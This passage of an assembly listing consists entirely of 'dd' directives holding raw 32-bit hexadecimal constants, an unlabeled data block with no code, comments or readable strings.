dd 300861F3h, 80F79324h, 0ACCD7810h, 5C202FB9h, 4CE458h
dd 0EAF8136Eh, 1056FD81h, 481DBF03h, 0A4D8930Bh, 68D5A4C2h
dd 94C613B8h, 0E7CE8DECh, 0ABE88051h, 0BA1D69D0h, 4AE3FAF9h
dd 2C04DD2Fh, 4C60C18Ch, 5068F2BAh, 40A43B88h, 70CC6C04h
dd 0A0903C09h, 0E77960B2h, 977EAA07h, 0DCC039F0h, 0F72D281h
dd 0CC4943BEh, 0D6C01382h, 0F08AE4A2h, 0A37C0109h, 0E06CD8B7h
dd 46D7D4A0h, 0E7CD6815h, 0D9870068h, 508C1C3Ah, 6E09177Bh
dd 24244460h, 2B8822EDh
dd 6DBFFC61h, 2EC00E0h, 0B9016065h, 17BB75B4h, 14DBC4Fh
dd 0C84AC398h, 78AAD4FCh, 0FE1CD20Eh, 0F84B02C2h, 0E76868C7h
dd 0C3A00BEh, 0F0C83896h, 4BE2559h, 3AC9DA10h, 6D889C51h
dd 0FFD4005Dh, 7D03FE50h, 2BE4801h, 8D8BE61Ah, 5275AC42h
dd 0C8939DF0h, 70CB21B9h, 9A13D510h, 0F8120D95h, 48A9CC88h
dd 6922DCD1h, 0F021705Ah, 0DC223C3Ah, 85D0C200h, 9B550AA0h
dd 0B6B48304h, 7CC263F5h, 13A123F9h, 6830CC9Ch, 30949Fh
dd 97C27E63h, 115C9A60h, 8E1D3E01h, 0D2DB67D5h, 0D0C09896h
dd 0C2DCA914h, 0ABB95B00h, 0BB599AD1h, 28C3F6F3h, 11D871D2h
dd 22292505h, 74E70018h, 72331E0Eh, 1C2C7D99h, 78847CD6h
dd 0F4886665h, 9DF400C6h, 32C2C958h, 17F2E646h, 6C8C9A51h
dd 4AB08FCh, 602A916Dh, 47707749h, 47B891D9h, 9205F0B8h
dd 0A0003785h, 36C39FD8h, 0F8F6A3Ch, 0A90B2DB7h, 9C85C569h
dd 0C630D3E7h, 4B5A6022h, 0F4A4D066h, 0F1008E41h, 0EE44B12Ch
dd 463DF29h, 1E49BAFAh, 0C0DCBC36h, 860D2FFBh, 58AE3EE4h
dd 0C89CA318h, 8F09CDD4h, 635A5C8Dh, 22B68218h, 0C429DFBBh
dd 0F1EE02D4h, 21E6ED8Ch, 87CC36E3h, 22A4144Ch, 38092961h
dd 3C10DC44h, 1F02C3F1h, 0FDCF044Dh, 0F501DCC6h, 0E7A8D2FFh
dd 0E0E2085Ah, 0B0187Ch, 0DF1A6CE0h, 0E871547Eh, 50DC0400h
dd 0B735F4B9h, 673800D2h, 0BAC1CC5Ah, 2CBEAE39h, 0CE002F11h
dd 2AA66689h, 19039516h, 8AB63A68h, 0B4A81138h, 0DCAF1439h
dd 212274h, 3117756Ch, 3557A496h, 5192BD16h, 2AFC8810h
dd 4B44784Ah, 44E4B41Fh, 5FB680EFh, 7400CCEEh, 0A54BC612h
dd 1D4DB65h, 0F9593D61h, 0E036E888h, 2A16BAFBh, 0E08028ABh
dd 0B0AF76FDh, 1ACF706Ch, 40E62C22h, 0D816D818h, 94AE405h
dd 0EC91D597h, 8408EFBCh, 40CC748Ah, 4CC89349h, 948E513h
dd 692E180Fh, 7BBC30DFh, 57130073h, 62F906AFh, 0BF0458FFh
dd 0D40F6660h, 0DC733604h, 84A652E0h, 99006C45h, 0CFF8E36Bh
dd 0C8D31360h, 3D12C5C8h, 440C0FDh, 0BDB44BCAh, 0D5F801BBh
dd 0DB29AE59h, 2243828h, 6C5DA0CDh, 1B44E11Eh, 0C8FDE217h
dd 22285479h, 0BC3F0F39h, 54F600EBh, 0C29D89Ch, 3E60330h
dd 0A53216EAh, 96EBD6B0h, 460B8501h, 83652DD4h, 0A11DECh
dd 0B832BED3h, 3ADD5540h, 0CCC84601h, 0EAE2887Eh, 0BEC3070h
dd 0A1236434h, 6D000444h, 0C9FB002h, 0CED26Ch, 0DD17F2E5h
dd 78B21230h, 0F4E60909h, 0A8840B3Ah, 3082F0D8h, 48873D9Eh
dd 30419788h, 6620294Dh, 0E5095328h, 1460B5F0h, 5A9200F8h
dd 0DF30B88Ch, 1AE63998h, 7C88205Bh, 0E0AE0942h, 8F0061A3h
dd 0FAFEFF4h, 9002390h, 4EBBBF2Ah, 16A08B74h, 0A56B917Bh
dd 0CE300184h, 6AA99FEAh, 7D0FF680h, 5ACAC39Dh, 0B4E4D08Fh
dd 4B0549AFh, 9E0DC0AEh, 80478C81h, 0E7BA8C40h, 4424B535h
dd 0CF1F4376h, 0E5900EFh, 4DA067Dh, 2020555h, 0F93EEEB8h
dd 89405F6Ch, 2100C04Ch, 163C5E6h, 3BACB1C6h, 2C003827h
dd 288DFB26h, 0BE3CD437h, 7019626Bh, 0C07444A4h, 0C51EBAA0h
dd 0C406FFD5h, 0DFCBB852h, 45900330h, 0CC7FECD1h, 88233C2h
dd 148B7CFFh, 750318D1h, 0B4974Ah, 0DA090696h, 0D7CE7025h
dd 8EEE1E0Fh, 0A43B8080h, 0A1C8FF8Fh, 252BA10Ch, 0EC6A0030h
dd 26AF3EADh, 9EFA4CB8h, 0C3FE6C16h, 366C0B4h, 8F0554F8h
dd 809CF41Ch, 0BF6F4D44h, 0C87FFC01h, 0CEC4D4A3h, 20C69C65h
dd 0FB5F034Dh, 2F9EE602h, 50E2D2CAh, 9C38D358h, 0F1E5A14h
dd 0DA409269h, 0A6E7516Fh, 9CD6006Eh, 47D1CD28h, 1402EB2Fh
dd 0AAF0304Ch, 492C5449h, 0CE0FE030h, 40DCF482h, 1571CB8Bh
dd 0ABF0D509h, 704D17Dh, 412CE077h, 305356BEh, 0CB189FE8h
dd 3FA892F2h, 0CF991228h, 807CF18Dh, 3D461FA9h, 0B863B47h
dd 0D8A59F8Ch, 0D3801C79h, 8F6E63F4h, 9AF80192h, 697BAEEAh
dd 3E0C384Dh, 0C92101FAh, 3C392D76h, 9D871C44h, 0FEE3C200h
dd 5BD92DCCh, 0CE8C461h, 787458F4h, 4BE8C22h, 0C7B4C00Eh
dd 84BBA012h, 80F7D440h, 92143600h, 9B9EB188h, 0A206FCEEh
dd 645FCB0Eh, 90170B90h, 0C4182E99h, 0AA7DD444h, 21D22C00h
dd 0B87067C0h, 0BB8BA59h, 0E6C786A1h, 0F0B0D046h, 0C6A0748Bh
dd 3EE50E0Ah, 55AC4403h, 83CBB0C1h, 51720BD8h, 68A093E0h
dd 0AF9F2EA0h, 0AB4A9B5h, 3D43FCFCh, 6861007Bh, 0CBF1426h
dd 9F00548Ch, 6E87FF6Dh, 6A3BBAC6h, 9446901h, 8868C9FBh
dd 4E0EE056h, 49DBCA8h, 1BC00905h, 2763D755h, 8C58BFD1h
dd 10D59E13h, 72F7CC8h, 1A1C5083h, 2C87C075h, 20001745h
dd 11C12AFBh, 72A332B3h, 0ABB40E35h, 4A859E8Dh, 0CD3082CFh
dd 2C911F24h, 803C6839h, 305DF380h, 913F346Dh, 0CBB604D8h
dd 3CE29216h, 146EED2Fh, 0BEFF280Eh, 92120045h, 7A27B7A2h
dd 0D85F0061h, 0B087FC57h, 7C98A528h, 0B798B50Eh, 0F708A0C3h
dd 1FD5A3h, 0C73D7CE8h, 54C0745Fh, 282A461Ah, 8F980591h
dd 8BFCCCh, 0E3A82D17h, 4DBDE4C0h, 750F7E0Eh, 0B5013FECh
dd 7E60E3Bh, 0CA74303Fh, 0C7748839h, 9A9D9B00h, 2B82CEA0h
dd 1C92023Fh, 0F0B9AB59h, 0ED5D0941h, 0FDEAF126h, 19E9F07Eh
dd 195473Eh, 98E883BBh, 805074A3h, 4A03EC6h, 0F0D0B8FDh
dd 2348C90h, 39E0D0B0h, 804FE0B9h, 0C415EBA1h, 0CE722DCDh
dd 4E0A38E8h, 5BB74500h, 788E39CFh, 0A2EEA3h, 0D9A46358h
dd 28670274h, 5FF688h, 0D51237DFh, 815B4AAEh, 890B327Eh
dd 583E519Ah, 0E6292494h, 0EB886098h, 0C000CC11h, 5173A420h
dd 26D737A7h, 24D7972Ah, 1B1E6074h, 9507A624h, 77F08D2Dh
dd 0C9BA2FEh, 0FAE64098h, 6DF0B4Ch, 6C51077Ch, 0E0A46692h
dd 84FAFEh, 0CB6EA5B0h, 0BE01E5A6h, 5E388702h, 0F9F067B3h
dd 115300D8h, 0D7DEC249h, 1C738A00h, 996CE65Eh, 6C8B4C83h
dd 6824720Bh, 9E669898h, 77F420BFh, 2556782Bh, 78C83F4Ch
dd 61007BDDh, 2F46CD48h, 2D79E528h, 0A4E082FAh, 114C6D5Fh
dd 0B0884F00h, 827A00ACh, 0F9CF6726h, 541EA7C6h, 2D023CFCh
dd 48128CB2h, 280122FCh, 1274F213h, 0A5B9C6CAh, 367020E4h
dd 6EADB700h, 7E2FDA9Eh, 526688EDh, 0CF13C6FCh, 0FC916782h
dd 6F319473h, 1E99F60h, 0A0DFF6CDh, 979ECE14h, 5CE2A1F1h
dd 569DC21Ch, 3C4400B4h, 0B7A90773h, 7D1E6E7Bh, 674571A1h
dd 0F4C16935h, 4C40CD75h, 160C77FFh, 0E2136386h, 706E006Ch
dd 24897DADh, 749B1D3Eh, 0D5B3444Dh, 60B8CDFBh, 3619A420h
dd 1339206Ch, 0C18A3CE9h, 40CC6D24h, 3A0AFC69h, 13097499h
dd 0D0D9FFh, 46F93204h, 6816923Ch, 4068228h, 51499329h
dd 0FC334C72h, 424CB900h, 5576CC38h, 0A0FB9E2Eh, 4C8904Bh
dd 0A4B05C8h, 9920EA5Ch, 73686C64h, 0B9AA1300h, 0E91FEA1Ch
dd 6D310077h, 9EB5DFB3h, 70F097F9h, 2B02067Eh, 0DBA061FEh
dd 0B57AE0A4h, 42390386h, 2C460F7Fh, 0D0C6FEC0h, 0F3444395h
dd 1E06C045h, 57802635h, 0D792006Ch, 24256228h, 6422665Bh
dd 49E610F2h, 10D29E75h, 380418A8h, 0CCDE54C3h, 16009F70h
dd 42124043h, 61EB90h, 0ECD71773h, 96CCD866h, 79F70301h
dd 9CDA01C1h, 7D18C3CCh, 4F5B1D58h, 8201F8DFh, 847FC98Bh
dd 902EF8F2h, 35284000h, 7E2CC751h, 0FD99136Dh, 4D5D00BAh
dd 13F90130h, 9DECF053h, 0B79D844Eh, 0E00FE822h, 17552E6h
dd 3D634C86h, 0D6C035B0h
dd 0D0406C76h, 269D92C9h, 178E04Eh, 72CC60A7h, 1FA42033h
dd 9F001BF4h, 9DAED88Ah, 0F026A097h, 0D048957Ch, 1497BE24h
dd 762B0018h, 0ACD53BF0h, 0F4025CCCh, 0C23913A7h, 0F3734160h
dd 0C51E8C73h, 0F136129Dh, 0B423B8h, 437916Ah, 0F23B7521h
dd 0AD280578h, 529FAE24h, 34C0020h, 3740397Dh, 14F1E09h
dd 20E42008h, 0B98CA53h, 29B8899Dh, 91B75410h, 20C95E90h
dd 0CE4061D3h, 6E02582Dh, 1787E0B3h, 0CCD3C0DDh, 0A0063973h
dd 998EA18Bh, 0B40B34A1h, 0F8223Ch, 0E29FF151h, 0EA02CC4h
dd 0A261BB43h, 58778420h, 0AA3C025Ah, 810B8410h, 0F8C00A37h
dd 9F6665C0h, 8E9C08A0h, 8500D309h, 0D298E293h, 7EDB55Eh
dd 9F2B01D6h, 0FC1471C0h, 6E99DBBAh, 80503C2Dh, 0F77CA4F3h
dd 52B10013h, 0AE2ED46Dh, 0BE35B5CCh, 0B010613Dh, 64AB8480h
dd 74840EAEh, 0B1E63987h, 7E77BE58h, 0C0FEC842h, 826825EDh
dd 0A8A9D3F4h, 4B203070h, 0C01F5B82h, 0A6931814h, 0EAAE30C1h
dd 483D6608h, 0D8896001h, 30919ABEh, 720A4AE6h, 0A49895A1h
dd 2EC68B05h, 7F7B84E2h, 1523013Eh, 7B43600Fh, 0F450302Ch
dd 3095008Eh, 0D020E79Eh, 2C5F0E66h, 0E8B84C8h, 0D1DCAE26h
dd 0D273DE00h, 33146E15h, 5F7030BEh, 101048C7h, 0F55774Dh
dd 8CB1E70Ah, 5DE04517h, 0F0B423A2h, 0F8D677CAh, 36674461h
dd 0B3FB110h, 226ABD00h, 0EF8170CCh, 0DF482641h, 0B81F0181h
dd 7C71DD03h, 37438488h, 0D7C0D818h, 7EAF4B12h, 41EA88E4h
dd 0A8613AE8h, 0A121BA5Ch, 2EA8003Ah, 8C6B36BEh, 468068B1h
dd 470AD038h, 42BE11Eh, 55FF918h, 20567469h, 5828063h
dd 2A997928h, 562CCCEBh, 0EE3C3A00h, 5323CCAAh, 33183C9Fh
dd 0B94AF03h, 84806E51h, 445F6652h, 95B0001Bh, 0DD006CB7h
dd 30700581h, 0D23AAC4Dh, 0BF5305C3h, 0C440E24Eh, 71D48D23h
dd 8FC49CA2h, 0DFA5AE4Bh, 3EF4E4C9h, 0F1853901h, 30DC2C3Ah
dd 9F7359E8h, 0E6378418h, 64E5982Ch, 27D58D00h, 0F083F668h
dd 0FD9E05C4h, 8466F0A5h, 9F58E88Dh, 0FC0BA340h, 0F738F05h
dd 0F59BD5A2h, 0A89A3E65h, 157A80D4h, 3687CCFh, 61EC48C8h
dd 60BFBAC2h, 406739B3h, 2095FF2Eh, 21CF3200h, 64384Eh
dd 3DC7463Eh, 3A4339DFh, 1FB8AE00h, 0BB4730E8h, 219E0474h
dd 0A88075BEh, 6F460B24h, 5E1C4696h, 77DC62CAh, 81368303h
dd 6BF81E62h, 60B89789h, 4F3E985Bh, 8ED080BDh, 7E431360h
dd 0CAF22635h, 8094A998h, 20903D9Ah, 5501E587h, 1D5477DDh
dd 58236A7Ch, 3C0CA4Bh, 83F747CAh, 0F841E541h, 0FBF1BF39h
dd 0FFE858h, 428EC85Ch, 0A8AD4B36h, 0BE9E5A0Bh, 492C0170h
dd 1F3AC7F6h, 0FC51A574h, 302646C4h, 0BE956620h, 0FA2340BCh
dd 0D358D54Eh, 0A13B0BC9h, 1A240796h, 0AC3F1288h, 0C682DF18h
dd 593608FDh, 70C6AD58h, 467242Eh, 0E427FF64h, 0D490887Ah
dd 0BC99C576h, 0D27CE180h, 172E17D7h, 4246BD1h, 56CF6CE8h
dd 922AC008h, 8400F4CEh, 9B420200h, 834C0560h, 53FA0B4Bh
dd 5D00F5F2h, 1FA9C1A6h, 0AF908F54h, 0E747489Eh, 0C6EA6732h
dd 0E2984164h, 0DC082024h, 0C5630780h, 3342A9h, 4684C41Ch
dd 9E7B9389h, 5A35A006h, 76E05C73h, 80249331h, 816AAFA1h
dd 0A0F69EBFh, 4C05977Ah, 475F390h, 0DCC110C4h, 4431AF63h
dd 2FD4236Fh, 0B69E4B90h, 38C9D85Bh, 3C5E5DC0h, 138396B1h
dd 0B7211DDCh, 0C67AC0F0h, 0FA357904h, 2402F0EEh, 1291C75h
dd 6887E6Ch, 0CB18423Bh, 644ED99Ah, 9903FF00h, 83AEA92h
dd 9E60567h, 0ECBF2404h, 0AFC820Ch, 0D19CCA9Eh, 4C2400A4h
dd 0C8988232h, 8660400h, 9C233B34h, 9A0DF264h, 367E0EACh
dd 0A942E674h, 0CDC8807h, 2498AEC0h, 0D70C1269h, 8094F881h
dd 9120ABB7h, 478A014Ch, 14DC5A6Ch, 1D80CF3Ch, 260EA2Fh
dd 989DC1C1h, 12667AD4h, 0BCA1D18Ch, 0A20680C0h, 1988F449h
dd 88464104h, 0D0E0CE7Eh, 88916CA1h, 0FF0362A4h, 0C038ADD8h
dd 1D2C4AFh, 0B7223D5h, 0F08B64B0h, 7F002F08h, 0FE7112B3h
dd 37583Eh, 225A2B46h, 83B58F1Ah, 4502BD00h, 91C9C61Ch
dd 8ABA5A71h, 19AB003Ch, 549F588Eh, 0ECDF008Ah, 76083DEh
dd 3D58ADB9h, 0C434047Ch, 0B08867D4h, 0BECB0F50h, 0D981E381h
dd 0D868AA83h, 7496ADD7h, 0B6840D40h, 23E93E58h, 0B100973Bh
dd 0A59F2C5Dh, 37099ED0h, 0D88DE6F2h, 0B5F01688h, 0CCC2165h
dd 0CC202AB7h, 1B45F73h, 15537BA3h, 207823D4h, 84FB20h
dd 82B44BE7h, 0FDCAD8DCh, 0E0A0514Ah, 9DE484C7h, 0DAA04600h
dd 0ED7BF408h, 5FFD12D4h, 0DC5020C9h, 0FF0F7A8Dh, 0A32744AEh
dd 98E7B19Eh, 25EB8C81h, 28606077h, 0CA1266B5h, 3F0B1B4Dh
dd 0CBCC86CFh, 0F07C4811h, 8C8EC180h, 0DD257BA0h, 310EC45h
dd 1B8F9BA8h, 5BA0BF6Dh, 6C71C824h, 6A36800Bh, 0CF0490B6h
dd 9CA17DE0h, 48B040F0h, 42009A72h, 0DFC004CEh, 12F653F2h
dd 1A13D19h, 0AA22BEACh, 7011CC54h, 4EA5BA27h, 6F9C07B4h
dd 40A0EA4Fh, 7CD779F7h, 0E64B5F00h, 0D0423CCDh, 14409D76h
dd 21480630h, 7B470029h, 0E8AEED68h, 0A65CB08Ch, 586925C8h
dd 6D9134F9h, 0C39DC581h, 84952BEEh, 660BC0E3h, 0CCE11DA2h
dd 0D4504267h, 6A74DCE0h, 1061E09h, 728C1837h, 80E01D43h
dd 0F895027Dh, 244C0EE3h, 2D406CB4h, 2EA41F5h, 0EE2F2A79h
dd 3406F23h, 72FAE027h, 620D64Dh, 9DF3123Eh, 0A03350C1h
dd 70112A5h, 7498087Eh, 92A1F08Bh, 98105DA8h, 16004C5Ah
dd 0DFF8AE67h, 3CEEB35Bh, 288073D8h, 0B1E8E79Bh, 420F59ACh
dd 43C24Eh, 0AE61C452h, 7F8C092Dh, 0BCC4A465h, 2F00C9E8h
dd 0B73E4F0Fh, 701CD7E4h, 6E607A0h, 47FE361Eh, 0DFFAD0A1h
dd 0A85E443Eh, 96C7D091h, 0CE2B2450h, 0B5F500E1h, 97055679h
dd 8C02888h, 2FE639CCh, 9CE90216h, 6B41D0B1h, 0A62964E0h
dd 0A43FF812h, 0D5275430h, 86653A73h, 48E7F385h, 200AC409h
dd 8E3F4EE0h, 0E4086B69h, 0D6900478h, 8005B1E5h, 89A9AE42h
dd 741A3F00h, 61413A9Ah, 2AC7009Eh, 117C83B4h, 0CF2D7F6Bh
dd 6CC696h, 0DB7501D0h, 0BF93FAACh, 2AABD800h, 7A840231h
dd 49E634E4h, 74B89106h, 0D4203B1Bh, 4FAC4Ch, 0B5B28A8Dh
dd 20580C01h, 300A1E4h, 0F41BFBB1h, 48181272h, 6E9F006Dh
dd 6CF1A550h, 618F0581h, 603060BEh, 3E1C1EC4h, 7C8F394Dh
dd 0C45CA379h, 0F0E94437h, 5D13B270h, 3C03F664h, 0A8608CFBh
dd 305F3446h, 668C486Ch, 402EEE7h, 8E2EAE43h, 0E04504Fh
dd 0B6C4CDFFh, 50C4BE4Bh, 292EDD00h, 0B10EC00Ah, 0DF1D1C52h
dd 0D33EC7F5h, 116110DAh, 1C2D2846h, 0B394E917h, 0C7B80B2Eh
dd 4CBC3CF8h, 45E82F40h, 0D4400050h, 531492FBh, 10952D77h
dd 2625418h, 33C0E51h, 80D88E96h, 73B7F01Bh, 1D700049h
dd 3172AEF4h, 0E100776Ch, 0B741B49Eh, 882BA8F1h, 149FB570h
dd 6FE0F0h, 529C91DBh, 1E2378E7h, 6803DD2Fh, 26B83524h
dd 43D0FAA2h, 0BDC47060h, 6DA11694h, 0E546D430h, 0C6B331B7h
dd 487E67D0h, 0D7183AE0h, 0C711A471h, 611360C9h, 5CB1F0C3h
dd 0FD7E5170h, 740073ECh, 0AD8D1DE8h, 5C1FD5A5h, 710ACCB8h
dd 23C0DB9h, 0C964F813h, 568038D4h, 33A28016h, 1725004Ah
dd 5FB4A630h, 0D900D36Dh, 1299FF9h, 374AF4Bh, 25D599ECh
dd 2EA0520Ch, 400F709h, 0B4974DD8h, 696E91h, 0BEE72C6Ch
dd 0ED2A485Ch, 921FCCEEh
dd 0E6C1B05Dh, 0BC71D407h, 79C5A82Ch, 0FFDC3320h, 3E970290h
dd 882E8576h, 0CBC05CD5h, 0E1502Eh, 86570CF4h, 3DF0DF14h
dd 0FDC1B400h, 0C7E58D3Bh, 75BE2966h, 6F400F4h, 1B7CABEDh
dd 4B6CA539h, 824BB420h, 0DEF03F24h, 31D47D02h, 6CF4DA3Dh
dd 720CDC49h, 0B837D8E0h, 89CCF982h, 0AC74793Ah, 0CFA58B40h
dd 0AD000ECh, 0AA7D0C5Fh, 0B425FF76h, 0B9D060C0h, 62998837h
dd 30D49884h, 2F117A3Dh, 5F00F430h, 49260D0Eh, 27A117C5h
dd 88E076FDh, 2284B60Ch, 0FAFA166Dh, 52789212h, 0ED9E08F0h
dd 7E477011h, 6A815031h, 8FB5D0h, 4A9458DFh, 8CD439A0h
dd 2076E825h, 0EA9635E8h, 0B6B7769h, 718DA4FEh, 0C50A0479h
dd 76807CD4h, 8A4A488Eh, 5E2205FEh, 0C0C75273h, 1FF3A4EDh
dd 6D60EC9Ch, 1B1D25Ah, 398E557Dh, 0F0A4D6E1h, 0F97347A7h
dd 86B539h, 4677ECF3h, 5C196D4h, 0AF343BF6h, 7FB4C2D3h
dd 2EC8B21h, 98FD5840h, 0C09248A2h, 30DC6985h, 4B279EFCh
dd 9DD20B01h, 818DB3C6h, 21DA9E9Ah, 6B601C56h, 593B076h
dd 131E79CEh, 11C4B3FAh, 4C1E0851h, 78EB021Bh, 0F070E960h
dd 67DAB500h, 9733BEFBh, 471E5C08h, 83C5450Eh, 5F89C02Bh
dd 0B4023450h, 0B6F1ADBBh, 68FF2375h, 359894BCh, 0CA4098B4h
dd 7A254918h, 251B6481h, 0FC7990F0h, 8D700847h, 6B72EBh
dd 940CB245h, 0B6972DBDh, 0D453DC13h, 0EE648C0Bh, 527600C0h
dd 0AAEF7BC6h, 252E4008h, 0DB00D68Dh, 0C7E7292Ch, 6C309D41h
dd 0AD073D13h, 50ECF119h, 8238D0F9h, 550C4028h, 0A2182602h
dd 0C479254Ch, 0C6C26385h, 68106CF9h, 0E6E79F1Ch, 0E26315D4h
dd 0D95A80C6h, 8D2BE844h, 0BB0459Fh, 18647AFEh, 0F091F041h
dd 101F276Ch, 0B0409A80h, 0ECEB03D2h, 505C7001h, 0C0CCD1B1h
dd 4389D25h, 0AD6484DEh, 9BC2FDD5h, 90C4D0CEh, 95C74A30h
dd 88B8ECD4h, 64D949B7h, 0C30D2B00h, 2C1A4DA6h, 1C1C1BAEh
dd 0DF150011h, 30B8A93Bh, 983A1F00h, 83C1DB97h, 345A018Ch
dd 2F623946h, 0B9B5E872h, 169CD801h, 83C3C649h, 5BE5FE0h
dd 2C295D32h, 0A3A3C088h, 129DF313h, 0F90061F8h, 46F8403Eh
dd 85DECC26h, 0AD9E8A38h, 4A4494D8h, 7E54D0ACh, 44959906h
dd 4547E08h, 0A095451Bh, 0DC53EF73h, 28BF6C04h, 0DD220CFCh
dd 30645C00h, 74C9ACABh, 0ED321EFFh, 1CB840FCh, 0F02794FDh
dd 0C6297C04h, 60D05CEBh, 0B967241Fh, 90642520h, 80979E07h
dd 2410092Ch, 928864h, 0F49AFFD1h, 6901D32Dh, 26DD400h
dd 0DBADF6Fh, 0A3AA006Bh, 0ED63BFE6h, 0D4C09E06h, 2A5CF823h
dd 536F3E90h, 601F2E00h, 93DAF3C1h, 38A56607h, 1B403CB5h
dd 0F8F7C3h, 987DBD50h, 175558F4h, 0CFC8690Ch, 7FCA681Fh
dd 0D46B0511h, 80D84998h, 85F53091h, 0EE167906h, 1D911A45h
dd 37E6E01Eh, 8C49C738h, 27079019h, 33D216ADh, 6E5841C1h
dd 60C83700h, 313FD3Eh, 0A494CF8Dh, 724014E0h, 6D184068h
dd 0E58A49E7h, 0A61DFB0Eh, 6704E0F0h, 84683Fh, 0C96BB198h
dd 0C124E0F3h, 9FCF39C2h, 48060F7Ch, 0C0099F0h, 6C2024BFh
dd 1D9F04D7h, 81FBE065h, 0AD720D75h, 783C40C9h, 4673C7D8h
dd 26603802h, 608F3650h, 18A5CC81h, 991439B5h, 6A295110h
dd 6D8C40A9h, 542113h, 5E261EF0h, 0EE4465F5h, 6DE57D08h
dd 7DD800Fh, 47AC5F7Ah, 74FC9507h, 3AD07B5Eh, 1B2F2B9h
dd 3345CE4Ah, 0DBC84CEBh, 0DAE26100h, 6D906292h, 14001A2h
dd 6C07F05Ah, 81598015h, 0D85D87FBh, 0CBC90DCh, 0C6DA48BFh
dd 0C760C840h, 0BA5D6849h, 82EF0305h, 0CA014710h, 124D1800h
dd 8671BD0Bh, 0A0E5503Bh, 0A6E403E8h, 0B5D758C9h, 0CFAFCE98h
dd 1F719D60h, 12E4038h, 0B618C9BEh, 0F2F4573Dh, 0D9E2AF03h
dd 40F433CAh, 0C46A00F2h, 8877310Bh, 20F62C8h, 0C95BB8D3h
dd 630002BEh, 100F1141h, 5625CCh, 0FA44A4ACh, 0E954151Bh
dd 3D2B2D00h, 23869130h, 93CF008Ch, 2E7FDFA5h, 0F1DE6471h
dd 5467283Eh, 0AC069BEAh, 0C535EB1Eh, 1D119020h, 2A6172EFh
dd 9ADA09ECh, 45801BADh, 0EBE5FD58h, 44EE1817h, 7FDE6900h
dd 286A7128h, 18181FD6h, 11CCC9AAh, 0F3009B7Eh, 247BAF1Ch
dd 9DA18E5Fh, 0C0E4A483h, 0ED1D05F0h, 5318E849h, 0CD7700B8h
dd 1BED1A2h, 95410062h, 342BB544h, 30A8BA1Dh, 0B3003665h
dd 0D622A119h, 7BFA9306h, 77A33C6Bh, 95CFB98Fh, 662EA8F8h
dd 1D1F9B06h, 28108DEBh, 724C861h, 0FF99935Bh, 63F2D04Eh
dd 88003281h, 23B8ECFBh, 2991CF40h, 289CE49Ch, 0C4E97166h
dd 5443EE49h, 69710AE8h, 9242B8CDh, 40CE2E6Dh, 106B80C6h
dd 0F2F144A1h, 70A44600h, 0A63100C8h, 0F56EE366h, 37005E03h
dd 0FEAC9FD5h, 0A46098CFh, 15400CDCh, 17D96177h, 231C2905h
dd 0FC04D127h, 0F892E3C0h, 803E27F2h, 0B2FFADF7h, 0EE29CD28h
dd 0DCEF8F00h, 9C9F5421h, 20BE5C08h, 6D18AC52h, 81C6D118h
dd 85AE200h, 1488BB7h, 171FC0Ah, 0E5FA241Bh, 81E1A4C4h
dd 0CB608869h, 1180E848h, 0C43F2266h, 0F0973795h, 2D33307Dh
dd 0BBB8F8B9h, 0A1B5DA07h, 0A541E142h, 8C412764h, 0AC477CBDh
dd 26233A61h, 36FC20h, 2741407Ah, 116E6371h, 0B98B0A8h
dd 0C0C83084h, 9C5D7C1h, 0AFC38100h, 2C73C2BFh, 99ED6156h
dd 0D4A798C4h, 0F00694Bh, 1EDCF7C6h, 0E1C6345h, 7415F4BFh
dd 22505C13h, 5D93ECA0h, 46606700h, 58B4E0F2h, 0F3CB0FF7h
dd 0B1208D4Ch, 0E8126963h, 0C8A6F40Fh, 9271B848h, 165B07FFh
dd 0F08D24BEh, 30A382CDh, 360090EEh, 4B57BBE8h, 0B1603Ch
dd 0B8107F3h, 0A69CF6F1h, 0E4AB9018h, 1766049h, 9BB20D16h
dd 80E557BFh, 86EC8019h, 0E731D9h, 12C76977h, 4DA95E6Dh
dd 0B0C0EA01h, 1004650Bh, 587930h, 1E4B2ABAh, 0E91D1C27h
dd 0D401E0A4h, 0BF64A32Ch, 5C2296CFh, 22F63A3Fh, 0FA006F01h
dd 19744668h, 8E77C4h, 352B7167h, 7EB67F13h, 0E55EE000h
dd 0E4D1F6BFh, 985F0390h, 0EE48B0CEh, 0C0C16900h, 0ADD42527h
dd 0C83B1294h, 0A5CD0002h, 29A090D5h, 75E5A700h, 6A928460h
dd 0F8C51E57h, 916C0C58h, 48509011h, 0E248DB14h, 73F880C0h
dd 161A4383h, 2081600Bh, 0CFEF2B40h, 0EC18D200h, 0C23D455Eh
dd 0C6C30241h, 55442E08h, 27E00881h, 0DA2980DDh, 831E72C1h
dd 6AC900D7h, 0CCEEB086h, 237B98C6h, 0C1CD1401h, 57726BDBh
dd 54003022h, 680B8EC7h, 0B100484Ah, 2BF9508Ch, 650A78h
dd 0E66E1F5Ah, 9E3327EFh, 3AA1AA0Fh, 30B1A425h, 0F0109088h
dd 0C9B30067h, 8349D4C6h, 0C80CF150h, 69E74815h, 0F5160073h
dd 84BEE10Dh, 0B82465F6h, 7E005CF2h, 41EFAF94h, 84CB9ECh
dd 0F0A0EBEEh, 0EF2E6E73h, 0B0405038h, 608465A9h, 37074004h
dd 260031D6h, 7FDCBB88h, 0C0906F64h, 0E5BF5880h, 5A0BEC9Ch
dd 8F690338h, 0EA849080h, 7FD740E1h, 2C475B4Fh, 81A8DC6Ah
dd 42EE0B02h, 38319705h, 0A0C5020h, 18770F0Eh, 15C07AB3h
dd 7F989A31h, 6F9B4A0Eh, 0CE5078CDh, 363739EEh, 0BF0FB3CCh
dd 944520ECh, 679CC872h, 4C40C942h, 0F37EACh, 0B5BE89C1h
dd 88849343h, 45CFD0C1h, 0C7FDB83Fh, 7E008032h, 394F5181h
dd 0EB049FA9h, 0DDC5C8ECh, 3E3010C6h, 60142943h, 0A888B4E4h
dd 21ECF442h, 411440EEh, 13E0E90Ch, 7B5FE025h, 0DBC41DF1h
dd 3C51BA72h, 0C0EA8020h, 54AECF29h, 0AA1E946Ch, 5CC0C162h
dd 0E241B099h, 39021D38h
dd 0A073159Ch, 0C68CE000h, 0F51FC60h, 0B3E87D00h, 0DF42C86Ah
dd 101F3031h, 0FAED1E70h, 2445094h, 49713846h, 0ED10C500h
dd 0BC3DA474h, 213F004Ah, 3698397Fh, 0FCA69B47h, 0B4F0D454h
dd 0EF334D0Bh, 45FC9025h, 516A603Bh, 0CBA68CEAh, 0A0818C9Ah
dd 0C92EEFB1h, 0BCA195E5h, 9A2B003Ch, 0E415FF8Dh, 23B00BE7h
dd 140354D4h, 81CC22F6h, 0F6DEA6FCh, 847EFC91h, 5BC85C69h
